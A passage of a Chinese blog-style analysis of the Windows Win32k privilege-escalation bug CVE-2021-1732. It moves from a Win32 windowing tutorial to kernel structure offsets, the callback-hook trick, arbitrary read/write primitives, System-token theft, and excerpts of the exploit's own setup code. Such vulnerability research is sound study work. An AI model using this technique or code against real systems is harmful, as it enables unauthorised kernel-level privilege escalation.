L"Hello World", // 窗口标题
WS_OVERLAPPEDWINDOW | WS_VISIBLE, // 窗口风格
CW_USEDEFAULT, // 窗口左上角 x 坐标 - 这里使用默认值
CW_USEDEFAULT, // 窗口左上角 y 坐标 - 这里使用默认值
CW_USEDEFAULT, // 窗口宽度 - 这里使用默认值
CW_USEDEFAULT, // 窗口高度 - 这里使用默认值
NULL, // 父窗口句柄
NULL, // 菜单句柄
hInstance, // 窗口句柄
NULL // 该值会传递给窗口 WM_CREATE 消息的一个参数
);
/* 消息循环 */
while (GetMessage(&msg, hwnd, NULL, 0))
{
TranslateMessage(&msg); // 翻译消息
DispatchMessage(&msg); // 派发消息
}
return msg.wParam;
}
运行起来，你便得到了一个标题是 Hello World 的窗口：
在窗口中右键会弹出一个对话框：
我来解释一下这个程序是怎么工作的。首先，桌面应用对于程序员而言的入口点从常见的 main 变成了 **WinMain** （这里的 wWinMain 是
unicode 版 WinMain，表明程序中使用的字符为 unicode 编码）。其次，需要有个概念，那就是我们平常看到的应用程序窗口，都是某个
**窗口类** 的“实例”（注意，这里的类不是 C++ 类的概念），Windows 使用一个结构体来管理 行为/风格 相似一类窗口，其定义[6]如下：
typedef struct tagWNDCLASSEXW {
UINT cbSize; // 该结构体的大小，通过这个字段来区分桌面开发的新旧版本
/* Win 3.x */
UINT style; // 窗口类的风格
WNDPROC lpfnWndProc; // 窗口的消息处理函数
int cbClsExtra; // 窗口类的扩展内存大小
int cbWndExtra; // 窗口的扩展内存大小
HINSTANCE hInstance; // 该窗口类的窗口消息处理函数所属的应用实例
HICON hIcon; // 该窗口类所用的图标
HCURSOR hCursor; // 该窗口类所用的光标
HBRUSH hbrBackground; // 该窗口类所用的背景刷
LPCWSTR lpszMenuName; // 该窗口类所用的菜单资源
LPCWSTR lpszClassName; // 该窗口类的名称
/* Win 4.0 */
HICON hIconSm; // 该窗口类所用的小像标
} WNDCLASSEXW;
从窗口类的定义可以看出，它包含了一个窗口的重要信息，如窗口风格、窗口过程、显示和绘制窗口所需要的信息，等等。可以使用 VS 自带的工具 Microsoft
spy++ 来实际感知窗口类的存在，比如计算器对应的窗口类是 Windows.UI.Core.CoreWindow：
所以想要创建一个窗口 “实例”，需要先向系统注册一个窗口类，这就是为什么开始的代码要这样写：
WNDCLASSEX wndclass = { 0 }; // 创建窗口类结构体
/* 对窗口类的各属性进行初始化 */
wndclass.cbSize = sizeof(WNDCLASSEX); // 字段 cbSize 需要等于结构体 WNDCLASSEX 的大小
wndclass.style = CS_HREDRAW | CS_VREDRAW; // 窗口类风格 - 窗口水平/竖直方向的长度变化时重绘整个窗口
wndclass.lpfnWndProc = MyWndProc; // 窗口消息处理函数 - 这里使用上面声明的 MyWndProc
wndclass.hInstance = hInstance; // 该窗口类的窗口消息处理函数所属的应用实例 - 这里就使用 hInstance
wndclass.lpszClassName = L"TestWndClass"; // 窗口类名称
/* 注册窗口类 */
RegisterClassEx(&wndclass);
现在我们就能用这个窗口类来创建看得见、摸得着的窗口了。创建窗口使用 CreateWindowEx[7]
函数，通过下面的代码，我们就能成功创建一个可见的窗口并得到它的窗口句柄：
/* 创建窗口 */
hwnd = CreateWindowEx(
NULL, // 扩展窗口风格
L"TestWndClass", // 窗口类名
L"Hello World", // 窗口标题
WS_OVERLAPPEDWINDOW | WS_VISIBLE, // 窗口风格
CW_USEDEFAULT, // 窗口左上角 x 坐标 - 这里使用默认值
CW_USEDEFAULT, // 窗口左上角 y 坐标 - 这里使用默认值
CW_USEDEFAULT, // 窗口宽度 - 这里使用默认值
CW_USEDEFAULT, // 窗口高度 - 这里使用默认值
NULL, // 父窗口句柄
NULL, // 菜单句柄
hInstance, // 窗口句柄
NULL // 该值会传递给窗口 WM_CREATE 消息的一个参数
);
创建了窗口后，如果后面什么代码都不写，那程序就直接退出，创建的窗口也立马被销毁了，这个不能交互的桌面应用对用户来说毫无意义。为了给创建出的窗口注入灵魂，最后往往会加一个
while 主消息循环：
/* 消息循环 */
while (GetMessage(&msg, hwnd, NULL, 0))
{
TranslateMessage(&msg); // 翻译消息
DispatchMessage(&msg); // 派发消息
}
我们常常能听到一些名词，如事件驱动、Windows 消息处理机制等，这些概念集中体现在上面这个 while
循环中。为什么在窗口中右键，会弹出一个对话框？那是因为鼠标右键按下被视作了一个事件，当这个事件在窗口中发生时，系统会去调用窗口所属窗口类的
WNDCLASSEX.lpfnWndProc 回调函数来响应，这个函数中写了弹出对话框的代码，因此才会有这样的效果。
那么问题来了，为什么我按鼠标左键它不会弹出对话框？照你这个说法，鼠标左键按下也是一个事件，系统不也会调用同一个回调
WNDCLASSEX.lpfnWndProc，那行为应该相同（即弹出对话框）才对啊？诚然，不论是左键还是右键按下，该窗口的
WNDCLASSEX.lpfnWndProc 都会被调用，而结果我们也清楚 —— 只有右键按下才会弹出对话框，这个函数是怎么做到区分左/右键按下的呢？
事实上，操作系统会把每个到来的事件包装成一个消息结构体（MSG
结构体，不是本文关注点，这里就不列出它的各个字段了），这个结构体记录了事件发生在哪个窗口（窗口句柄）、事件对应的消息编号（
**每种事件都对应了一个唯一的编号** ）、事件发生时所处的坐标等。系统将这个 MSG 结构体放入线程的消息队列，当线程调用 GetMessage
时，就能从队列中取出这个结构体，再通过 DispatchMessage 根据 MSG 结构体中的窗口句柄，向对应窗口递送该消息（具体体现就是调用那个窗口的
lpfnWndProc）。TranslateMessage 函数用于做一些虚拟键消息转换，与我们所说的内容关系不大，可以忽略掉这个函数。
现在就可以解释为什么按下左键没有弹出对话框了，来看本例代码中的窗口过程函数：
/* 窗口类的窗口过程函数(负责消息处理) */
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_RBUTTONDOWN: // #define WM_RBUTTONDOWN 0x0204 - 代表鼠标右键按下
MessageBox(hWnd, L"Right Button Down Detected", L"Message Arrival", MB_OK); // 简单弹个对话框
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam); // 对其他消息都使用默认方式处理
}
return 0;
}
左键按下和右键按下是不同的事件，它们的消息编号不同，所以当回调 MyWndProc 先后被调用时，参数 message 的值就不同（分别是 WM_
**L** BUTTONDOWN 和 WM_ **R** BUTTONDOWN）。在函数实现中，通过一个 switch
语句来判断消息的类型，针对不同的消息，采取不同的相应措施。比如上面的代码，我们判断当消息是右键按下时就弹个对话框，其他的消息使用默认方式处理（这种窗口中左键按下的默认处理方式就是什么也不做）。
有了上面的基本概念后，我们来拓展聊聊 WNDCLASSEX 结构体的 cbClsExtra 和 cbWndExtra 字段，之前注释里也写了，它们分别表示
**窗口类** 的扩展内存大小和 **窗口** 的扩展内存大小，那扩展内存有什么用？二者又有什么区别呢？
先说说什么是 **窗口类**
的扩展内存。在应用程序注册一个窗口类时，可以让系统分配一定大小的内存空间，作为该窗口类的扩展内存，之后属于该窗口类的每个窗口都共享这片内存区域，每个窗口都可以通过
Windows 提供的 API 来读写这片扩展内存，如
GetClassLong、GetClassLongPtr、SetClassLong、SetClassLongPtr 等（Ptr 后缀是为了兼容 32 和
64 位），以此实现同窗口类的窗口间通信，而 cbClsExtra 字段就记录了这片内存的大小。
同理，当 **窗口** 创建时，可以让系统分配一定大小的内存空间，作为该窗口的扩展内存，这就是窗口的扩展内存。这片内存每个窗口独享，也可以通过 API
来读写（GetWindowLong、GetWindowLongPtr、SetWindowLong、SetWindowLongPtr），该机制提供了一种窗口数据暂存的方式，这片内存的大小由
cbWndExtra 字段记录。
还是通过一个实例来感受 cbWndExtra 字段的意义：
#include <Windows.h>
/* 窗口类的窗口过程函数(负责消息处理) */
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
/* 通过 GetWindowLongPtr 获取偏移为 0 和 8 的两个 long long 的值 */
LONG_PTR A = GetWindowLongPtr(hWnd, 0);
LONG_PTR B = GetWindowLongPtr(hWnd, 8);
wchar_t* content = new wchar_t[20];
switch (message)
{
case WM_LBUTTONDOWN: // 左键按下时，输出 A 的值
wsprintf(content, L"%p", A);
MessageBox(hWnd, content, L"Left Button Down", MB_OK);
break;
case WM_RBUTTONDOWN: // 右键按下时，输出 B 的值
wsprintf(content, L"%p", B);
MessageBox(hWnd, content, L"Right Button Down", MB_OK);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
/* 程序入口点 */
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{
HWND hwnd;
MSG msg;
WNDCLASSEX wndclass = { 0 };
wndclass.cbSize = sizeof(WNDCLASSEX);
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = MyWndProc;
wndclass.hInstance = hInstance;
wndclass.lpszClassName = L"TestWndClass";
/* 使用 cbWndExtra 字段，设置扩展内存大小为两个 long long */
wndclass.cbWndExtra = 2 * sizeof(long long);
RegisterClassEx(&wndclass);
hwnd = CreateWindowEx(
NULL, L"TestWndClass", L"Hello World",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, CW_USEDEFAULT,
NULL, NULL, hInstance, NULL
);
/* 通过 SetWindowLongPtr 设置偏移为 0 和 8 的两个 long long 的值 */
SetWindowLongPtr(hwnd, 0, 0xAAAAAAAAAAAAAAAA);
SetWindowLongPtr(hwnd, 8, 0xBBBBBBBBBBBBBBBB);
while (GetMessage(&msg, hwnd, NULL, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
运行起来，按下左键：
按下右键：
好了，关于 Windows 桌面编程就先聊到这儿吧，花了不少的篇幅来引出 cbWndExtra 字段，是因为该字段不为 0（窗口具有扩展内存）正是
CVE-2021-1732 漏洞利用的导火索。
### 3.2 tagWND 结构体
与每个窗口类对应一个结构体类似，Windows 使用 tagWND 结构体来描述每个窗口，这个结构体在加载了官方 pdb 文件的 Win7
win32k.sys 模块可以找到[8]。可能是由于泄露了太多对开发者无用的内核符号，导致 win32k 被五花八门的漏洞利用手段玩坏了，Win7
往后，微软去掉了 pdb 文件中很多内核符号，其中就包括 tagWND。所以目前，我们只能通过参考 Win7 及以前的符号，并结合 API 逆向分析来推测
Win10 中 tagWND 各字段的含义。
值得庆幸的是，已经有人在这方面做了很多工作了。在前辈们的经验总结下[8][9][10]，我们可以得知，在 Win10 中，
**对于每个窗口，系统为用户层和内核层各维护了一个 tagWND 结构体** ，用户层的 &tagWND + 0x28 处的 8 字节为一个指针，指向内核层
tagWND 结构体。后文将使用 tagWND/tagWNDk 来表示 用户层/内核层 tagWND 结构体，ptagWND/ptagWNDk 来表示
用户层/内核层 tagWND 结构体指针。
下面列出 tagWND 结构体中与漏洞相关的字段（一个 “Tab 缩进 + 偏移量”表示一次 **父级的值加偏移后访存** ）：
ptagWND(user layer)
0x10 unknown
0x00 pTEB
0x220 pEPROCESS(of current process)
0x18 unknown
0x80 kernel desktop heap base
0x28 ptagWNDk(kernel layer)
0x00 hwnd
0x08 kernel desktop heap base offset
0x18 dwStyle
0x58 Window Rect left
0x5C Window Rect top
0x98 spMenu(uninitialized)
0xC8 cbWndExtra
0xE8 dwExtraFlag
0x128 pExtraBytes
0x90 spMenu(analyzed by myself)
0x00 hMenu
0x18 unknown0
0x100 unknown
0x00 pEPROCESS(of current process)
0x28 unknown1
0x2C cItems(for check)
0x40 unknown2(for check)
0x44 unknown3(for check)
0x50 ptagWND
0x58 rgItems
0x00 unknown(for exploit)
0x98 spMenuk
0x00 pSelf
后面的分析在用到 tagWND 时，可以翻回这个部分进行查阅。
### 3.3 以结果为导向
本 CVE 的 POC 所达到的效果，就是可以在用户态调用 SetWindowLong 来造成一次 **内核桌面堆的越界写** 。SetWindowLong
实际调用 user32!SetWindowLongW，其中又调用了 win32u!NtUserSetWindowLong：
之后通过系统调用进入内核态，调用 win32kfull!NtUserSetWindowLong，并最终调用
win32kfull!xxxSetWindowLong，传入根据窗口句柄找到的 tagWND
结构体地址（ptagWND）、写入的扩展内存的偏移（nIndex）、要写入的值（value）：
调用栈我也贴在这里：
进入 xxxSetWindowLong 后，在 59 行获得了内核 tagWND 结构体指针：
从 117 行可以看出 **nIndex 的值必须小于 ptagWNDk- >cbWndExtra**（窗口扩展内存大小，该值在注册窗口类时指定）：
由 157、158、162 行可知当 `ptagWNDk->dwExtraFlag & 0x800 != 0` 时， **内核桌面堆起始地址 +
pExtraBytes + nIndex** 处的 4 字节会被赋值成 value：
POC 就是通过控制 pExtraBytes 为任意值来实现桌面堆越界写的。从上图的 160 行也可以看出，当 `ptagWNDk->dwExtraFlag
& 0x800 == 0` 时，pExtraBytes 就解释为一个 **可写内存的地址** ，直接通过 `pExtraBytes + nIndex`
来寻址。
故我们发现，tagWNDk 实际上使用 **两种模式** 来保存 **窗口扩展内存的地址** ：
* 1.dwExtraFlag & 0x800 == 0：在 **用户空间系统堆** 中，pExtraBytes 解释为 **扩展内存** 在 **用户空间堆** 中的地址指针
* 2.dwExtraFlag & 0x800 != 0：在 **内核空间桌面堆** 中，pExtraBytes 解释为该 **扩展内存起始地址** 相对于 **内核桌面堆基址** 的偏移量
下一部分就将介绍正常情况下两种模式对应的 pExtraBytes 是如何被赋值的。
### 3.4 两种模式下 pExtraBytes 正常赋值流程
> 3.4.1 模式 1 – 在用户空间系统堆中（直接寻址模式）
该模式下，tagWNDk.pExtraBytes 在调用 CreateWindowEx 创建窗口的过程中被赋值。前半部分的调用链没有什么信息量：
[用户态]
- CreateWindowEx 实际调用 user32!CreateWindowExW
- user32!CreateWindowExW 调用 user32!CreateWindowInternal
- user32!CreateWindowInternal 中调用 user32!VerNtUserCreateWindowEx
- user32!VerNtUserCreateWindowEx 中调用 win32u!NtUserCreateWindowEx
- win32u!NtUserCreateWindowEx 中通过系统调用进入内核态，调用 win32kfull!NtUserCreateWindowEx
[内核态]
- win32kfull!NtUserCreateWindowEx 中调用 win32kfull!xxxCreateWindowEx
调用栈：
xxxCreateWindowEx 506 行调用 win32kbase!HMAllocObject 创建了一个 tagWND 结构体并返回其指针：
521 行设置 ptagWNDk->pExtraBytes 初值为 0（`*(ptagWND + 0x28)` 为 ptagWNDk）：
从 821、822 行可以看出，当 ptagWNDk->cbWndExtra 不为 0 时，会调用
win32kfull!xxxClientAllocWindowClassExtraBytes 来设置 ptagWNDk->pExtraBytes：
821 行的不等号重载（0xA1 – 0x79 = 0x28）：
win32kfull!xxxClientAllocWindowClassExtraBytes 实现：
阅读代码后，不难发现：
* 22 行：通过 nt!KeUserModeCallback[11] 回调记录在 **PEB.KernelCallbackTable 表中第 123 项** 的用户层函数，该项是 **user32!_xxxClientAllocWindowClassExtraBytes** 函数的指针
* 26 行：user32!_xxxClientAllocWindowClassExtraBytes **返回信息的长度应该为 0x18 字节**
* 29 行：存储返回信息的地址需小于 MmUserProbeAddress（0x7fffffff0000）
* 31 行： **返回信息的第一个指针类型指向在用户态申请的用户堆空间**
* 34 行：调用 ProbeForRead 验证申请的用户堆地址 + 长度是否小于 MmUserProbeAddress（0x7fffffff0000）
* 32、35 行：xxxClientAllocWindowClassExtraBytes 返回用户堆空间地址
user32!_xxxClientAllocWindowClassExtraBytes 函数：
该回调函数所做的事情就是调用 ntdll!RtlAllocateHeap 申请 cbWndExtra
大小的用户堆空间，并将申请到的堆地址作为返回信息的第一个 8 字节， **调用 ntdll!NtCallbackReturn
修正堆栈后重新返回内核层执行** 。
win32kfull!xxxClientAllocWindowClassExtraBytes 返回后，ptagWNDk->pExtraBytes
就会被赋值为申请到的用户空间堆地址：
以上过程用 iamelli0t 博客[12]的一张图来总结：
> 3.4.2 模式 2 – 在系统空间桌面堆中（offset 间接寻址模式）
在该模式下想要赋值 pExtraBytes，须在用户态调用未公开的 user32!ConsoleControl（或
**win32u!NtUserConsoleControl** ），调用栈：
win32kfull!NtUserConsoleControl 函数：
由上图可知，要想调用 xxxConsoleControl，需满足：
* 14 行：第一个参数（ **功能号** ）不大于 6
* 16 行：第三个参数（ **参数信息的长度** ）不大于 0x18
win32kfull!xxxConsoleControl 根据传入的功能号进行不同的操作，一共有 6 种功能（功能号为 1 – 6）， **第 6
个功能才会赋值 pExtraBytes** ：
由上图分析可得，功能 6 调用 DesktopAlloc
在内核空间桌面堆中分配窗口扩展内存，计算已分配的扩展内存地址到内核桌面堆基址的偏移量，并将偏移量保存到 tagWNDk.pExtraBytes，最后修改
`tagWNDk.dwExtraFlag |= 0x800`。
### 3.5 POC 攻击手法及难点解决
经过上面的分析我们已经知道：
* 1.使用 CreateWindowEx 创建窗口的过程中内核会回调用户层函数 user32!_xxxClientAllocWindowClassExtraBytes，由它代为申请用户空间堆，内核用这个地址赋值 pExtraBytes 后， **并未重新设置 dwExtraFlag** （`tagWNDk.dwExtraFlag &= ~0x800`）
* 2.使用 user32!ConsoleControl 的第 6 个功能，除了能赋值 pExtraBytes，还能设置 `tagWNDk.dwExtraFlag |= 0x800`
* 3.调用 SetWindowLong 写窗口扩展内存时，如果 `dwExtraFlag & 0x800 != 0`，则使用 offset 间接寻址方式写桌面堆
在 POC 中，攻击者对 user32!_xxxClientAllocWindowClassExtraBytes 进行挂钩， **在钩子函数中手动调用
win32u!NtUserConsoleControl** ，将 pExtraBytes 的解释方式从模式 1 修改为模式 2，然后调用
ntdll!NtCallbackReturn 向内核返回一个能过读写检查的可控值，用于设置 tagWNDk.pExtraBytes。最后调用
SetWindowLong 写附加空间时，就能实现基于内核空间桌面堆基址的可控偏移量越界写。
还是借用 iamelli0t[12] 的图来直观感受：
设想是美好的，实践起来还会遇到细节上的问题 —— 上个部分所提到的 win32kfull!xxxConsoleControl 功能 6 需要传入
**窗口句柄** ：
可攻击需要在 CreateWindowEx 过程里调用 user32!ConsoleControl，此时 CreateWindowEx 还没有返回窗口句柄
HWND，这就需要我们来分析 CreateWindowEx 是怎么创建的窗口句柄。其实在 **3.4.1 节** 我提了一下
xxxCreateWindowEx 506 行调用 win32kbase!HMAllocObject 创建了一个 tagWND 结构体并返回其指针：
窗口句柄就是在这个函数中创建并赋值到 tagWND 结构体中的，该函数首先通过 DesktopAlloc 从内核桌面堆申请存储 tagWNDk 的空间：
然后选出一个 **窗口句柄** [13]并 **存储到 &tagWNDk + 0**：
此外，结合上两张图可以发现 **& tagWNDk + 8 保存了 tagWNDk 相对于桌面堆基址的偏移**。
幸运的是， user32!_xxxClientAllocWindowClassExtraBytes 之前，win32kbase!HMAllocObject
就已经在 win32kfull!xxxCreateWindowEx 中被调用了，我们要是能把创建的窗口句柄泄露出来就可以补全 POC 链了，问题就转化为
**如何泄露 tagWNDk 的内容** 。
这就不得不提起 Windows 内核利用领域使用了 10 年的一项技术 —— 通过未公开函数 user32!HMValidateHandle
泄露内核信息[14]，只要把窗口句柄传递给这个函数，它就会 **返回 tagWNDk 在用户空间的只读映射指针** （HMAllocObject
创建了桌面堆类型句柄后，会把tagWNDk 对象放入到内核模式到用户模式的映射内存中）。此外，HMValidateHandle 函数的地址可以由
user32!IsMenu 的第一个 call 计算[14]。
那么泄露窗口句柄的难点就迎刃而解了，直接来看完整的 POC 思路：
* 1.将 PEB.KernelCallbackTable 的第 123 项替换成自定义挂钩函数的指针
* 2.创建一些窗口（都属于窗口类 1），并通过 user32!HMValidateHandle 泄露这些窗口对应 tagWNDk 在用户空间的地址
* 3.销毁在步骤 2 中创建的部分窗口，使得桌面堆能回收这些窗口对象所占用的空间。再使用与窗口类 1 cbWndExtra 不同的窗口类 2 创建一个新窗口，这个新窗口的 tagWNDk 对象可能会 **使用之前释放掉的空间** 。因此，通过在自定义挂钩函数中使用窗口类 2 的 cbWndExtra 搜索先前泄露的 tagWNDk 对象用户空间地址，便可以找到新窗口的 tagWNDk 在用户空间的地址，读取第一个 8 字节即可泄露窗口句柄。
* 4.在自定义挂钩函数中调用 user32!ConsoleControl 来修改新窗口 `tagWNDk.dwExtraFlag |= 0x800`
* 5.在自定义挂钩函数中调用 ntdll!NtCallbackReturn 将可控的虚假偏移量分配给新窗口的 tagWNDk.pExtraBytes
* 6.调用 SetWindowLong 将数据写入内核空间桌面堆基址 + 可控偏移量的地址，这可能会导致超出堆范围的内存访问冲突
这些步骤都会在 **04 部分** 体现。
### 3.6 EXP 利用手法及难点解决
对于内核漏洞利用，攻击目标通常是获得 System 令牌，常见的方法如下：
* 1.利用漏洞在内核空间中获得任意地址读写的原语
* 2.泄露一些内核对象的地址，通过 EPROCESS 链找到 System 进程
* 3.将 System 进程的令牌复制到攻击进程以完成权限提升
我们所面临的困难主要是步骤 1 —— 如何利用”在内核空间桌面堆基地址 +
可控偏移量计算出的地址中写数据”的机会来获取内核空间任意地址读写的原语。本部分将注重逻辑分析，具体实施细节在 **04 部分** 。
> 3.6.1 任意地址写
由 **3.3 节** 的分析，调用 SetWindowLong 时，传递的 nIndex 必须小于
tagWNDk.cbWndExtra，若是能把该值改大，就能轻松造成内存访问越界。参考 **3.5 节** ，tagWNDk + 8 的地方保存着该
tagWNDk 相对于桌面堆基址的偏移。结合这两点，可以构造如下的内存布局：
首先通过漏洞将 tagWNDk2.pExtraBytes 设置为 offset 模式寻址（dwExtraFlag |= 0x800），并将其赋值为
tagWNDk0 相对于桌面堆基址的偏移（`*(&tagWNDk0 + 8)`），于是窗口 2 的扩展内存变成了 tagWNDk0 所在的空间。对窗口 2
调用 SetWindowLong，nIndex 为 **cbWndExtra 在结构体中的偏移（0xC8）** ，就能修改到
tagWNDk0.cbWndExtra 了，我们把它改成 0xFFFFFFFF，cbWndExtra 过小的限制就解除了！为了能通过窗口 0
的扩展内存写到窗口 1 的 tagWNDk，还需要提前使用 win32u!NtUserConsoleControl 来让窗口 0 也进入 offset
寻址模式。
现在对窗口 0 调用 SetWindowLongPtr，nIndex 为 **窗口 0 扩展内存与窗口 1 tagWNDk 的偏移 +
pExtraBytes 在结构体中的偏移（0x128）** ，修改 tagWNDk1.pExtraBytes 为任意值。又因为
tagWNDk1.pExtraBytes 处于直接寻址模式，再对窗口 1 调用 SetWindowLongPtr 就能实现任意地址写了。
> 3.6.2 任意地址读
EXP 中使用 user32!GetMenuBarInfo[15] 函数与伪造的 tagMENU
结构体进行内核读取，一次可以读取16个字节，这种巧妙的手法此前未被公开过。该 API 最终会调用
win32kfull!xxxGetMenuBarInfo，并传入 4 个参数 ptagWND，idObject，idItem，&mbi[16]：
结合 **3.2 节** ：
ptagWND(user layer)
0x28 ptagWNDk(kernel layer)
0x18 dwStyle
0x58 Window Rect left
0x5C Window Rect top
0x90 spMenu(tagMENU *)
0x00 hMenu
0x28 unknown1
0x2C cItems(for check)
0x40 unknown2(for check)
0x44 unknown3(for check)
0x58 rgItems
0x00 unknown(for exploit)
0x98 spMenuk
0x00 pSelf
需要注意， **spMenu- >spMenuk->pSelf 是一个指向 spMenu 自身的指针**。
分析 xxxGetMenuBarInfo 关键部分：
95 行的等号重载：
可以得出分割线往上检查了：
* 1.对于 GetMenuBarInfo 参数
* 87 行：第二个参数 idObject 应为 -3
* 98、99 行：0 <= 第三个参数 idItem <= ptagWND->spMenu->unknown1->cItems
* 2.对于 tagWNDk 结构体
* 89 行：dwStyle 不能包含 WS_CHILD 属性
* 3.对于 tagMENU 结构体
* 105 行：unknown2 与 unknown3 不能为 0
分割线往下就是利用部分了，由 110 – 112、122 – 130、159 行可知，如果伪造的 tagMENU 结构体中 rgItems->unknown
为 **欲读取的地址 – 0x40** ，那么就能从 GetMenuBarInfo 第四个参数 pmbi 获得欲读取地址开始的 16
个字节（当然还需要减去一些已知值）。因此，我们需要伪造的 tagMENU 结构体长这样：
构造好了怎么修改 ptagWND->spMenu 呢？Kernel Killer 在他的 EXP 中选择使用 SetWindowLongPtr
自带的功能来修改。其实 SetWindowLong 系列函数除了能写窗口附加空间， **如果参数 nIndex 给的是负数，它们还能用于设置 tagWND
的一些字段** ，这些功能都是公开的，可以在微软开发文档[17] 查到：
当 nIndex 为 GWLP_ID 时，win32kfull!xxxSetWindowLongPtr 还会调用
**win32kfull!xxxSetWindowData** ，在其中设置 ptagWND->spMenu 为用户给定的值，并 **返回 spMenu
旧值** （ **注意：dwStyle 应带有 WS_CHILD 属性** ）：
就算不知道 SetWindowLongPtr 有这样的功能，也能改到 ptagWND->spMenu。同 **3.6.1 节** 的理，对窗口 0 调用
SetWindowLongPtr，通过越界写同样能将窗口 1 的 tagWNDk.spMenu 改为自定义的值，这种情况下，SetWindowLongPtr
依旧会返回修改前的旧值：
无论使用哪种方式，现在我们获得了任意地址读的能力！
> 3.6.3 泄露内核对象地址
泄露地址的工作在上一部分已经完成了一半 —— 泄露出了旧 spMenu 的地址，由 **3.2 节** 又有：
ptagWND(user layer)
0x10 unknown
0x00 pTEB
0x220 pEPROCESS(of current process)
0x90 spMenu
0x18 unknown0
0x100 unknown
0x00 pEPROCESS(of current process)
0x50 ptagWND
那么泄露当前进程 EPROCESS 地址的方式就不止一种了：
* 1.通过三次任意地址读，达到 `**(__int64 **)(*(__int64 *)(spMenu + 0x18) + 0x100)` 的效果（EXP 使用）
* 2.通过四次任意地址读，达到 `*(__int64 *)(**(__int64 **)(*(__int64 *)(spMenu + 0x50) + 0x10) + 0x220)` 的效果（攻击样本使用）
> 3.6.4 提升进程权限
知道当前进程的 EPROCESS 地址后，遍历 EPROCESS->ActiveProcessLinks 链表[18]，找到 pid 为 4
的进程（System 进程），将其 Token 复制到当前的攻击进程，即可完成提权。
下面是将用到的 EPROCESS 字段及其偏移量：
pEPROCESS
0x2E0 UniqueProcessId // pid
0x2E8 ActiveProcessLinks.Flink // 该字段指向下一个 EPROCESS 结构体的 ActiveProcessLinks（双向链表）
0x358 Token // 令牌
* * *
## 04 EXP 阅读
这个部分我将按照 EXP 的程序执行流，把 **03 部分** 完整地串起来，各个技术点的实施细节将在这里展露无遗。
### 4.1 准备工作
169 – 176 行（WinMain 入口）为本窗口程序创建了一个控制台，并将程序的标准输入、输出重定向到这个控制台，这就是为什么运行 EXP
时会有个命令行界面：
UNREFERENCED_PARAMETER(hPrevInstance); // 告诉编译器，已经使用了参数，不必警告
UNREFERENCED_PARAMETER(lpCmdLine); // 应该是创建项目时的模板代码
AllocConsole(); // 创建一个控制台
FILE* tempFile = nullptr;
freopen_s(&tempFile, "conin$", "r+t", stdin); // 重定向程序的标准输入到控制台
freopen_s(&tempFile, "conout$", "w+t", stdout); // 重定向程序的标准输出到控制台
178 – 187 行通过未公开的 ntdll!RtlGetNtVersionNumbers 函数获得 Windows 版本信息（主次版本及 OS
内部版本号），并输出到控制台：
typedef void(WINAPI* FRtlGetNtVersionNumbers)(DWORD*, DWORD*, DWORD*);
DWORD dwMajorVer, dwMinorVer, dwBuildNumber = 0;
FRtlGetNtVersionNumbers fRtlGetNtVersionNumbers = (FRtlGetNtVersionNumbers)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlGetNtVersionNumbers");
fRtlGetNtVersionNumbers(&dwMajorVer, &dwMinorVer, &dwBuildNumber); // 获得版本信息
dwBuildNumber &= 0x0ffff;
std::cout << "Example CVE-2021-1732 Exp working in windows 10 1809(17763).\n";
std::cout << "Current system version:\n";
std::cout << " MajorVer:" << dwMajorVer << " MinorVer:" << dwMinorVer << " BuildNumber:" << dwBuildNumber << std::endl; // 输出版本信息到控制台
system("pause"); // 在这里 pause 方便为后面代码的调试下断点
189 – 198 获取一些未公开函数的地址，以便后面使用：
g_fNtUserConsoleControl = (FNtUserConsoleControl)GetProcAddress(GetModuleHandle(L"win32u.dll"), "NtUserConsoleControl"); // win32u!NtUserConsoleControl（其实用 user32!ConsoleControl 效果一样）
g_fFNtCallbackReturn = (FNtCallbackReturn)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCallbackReturn"); // ntdll!NtCallbackReturn
// ntdll!RtlAllocateHeap
g_fRtlAllocateHeap = (RtlAllocateHeap)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlAllocateHeap");
// gs:[0x60] 指向进程 PEB，PEB 结构体偏移 0x58 为 KernelCallbackTable
ULONG_PTR pKernelCallbackTable = (ULONG_PTR) *(ULONG_PTR*)(__readgsqword(0x60) + 0x58);
g_fxxxClientAllocWindowClassExtraBytes = (FxxxClientAllocWindowClassExtraBytes)*(ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3D8); // KernelCallbackTable 第 123 项为 user32!_xxxClientAllocWindowClassExtraBytes
g_fxxxClientFreeWindowClassExtraBytes = (FxxxClientFreeWindowClassExtraBytes) * (ULONG_PTR*)((PBYTE)pKernelCallbackTable + 0x3E0); // 第 124 项为 user32!_xxxClientFreeWindowClassExtraBytes（调试用）
FindHMValidateHandle(&fHMValidateHandle); // user32!HMValidateHandle
其中 HMValidateHandle 函数地址通过 user32!IsMenu 的第一个 call 计算[14]：
bool FindHMValidateHandle(FHMValidateHandle *pfOutHMValidateHandle)
{
*pfOutHMValidateHandle = NULL;
HMODULE hUser32 = GetModuleHandle(L"user32.dll");
PBYTE pMenuFunc = (PBYTE)GetProcAddress(hUser32, "IsMenu"); // user32!IsMenu
if (pMenuFunc) {
for (int i = 0; i < 0x100; ++i) {
if (0xe8 == *pMenuFunc++) { // 找到第一个 call 指令(0xE8 是 call 指令的 opcode)
DWORD ulOffset = *(PINT)pMenuFunc; // call 指令的操作数是一个偏移，计算方法为（目标地址 - call 指令地址 - 5）
*pfOutHMValidateHandle = (FHMValidateHandle)(pMenuFunc + 5 + (ulOffset & 0xffff) - 0x10000 - ((ulOffset >> 16 ^ 0xffff) * 0x10000) ); // 计算得到 user32!HMValidateHandle 地址
break;
}
}
}
return *pfOutHMValidateHandle != NULL ? true : false;
}
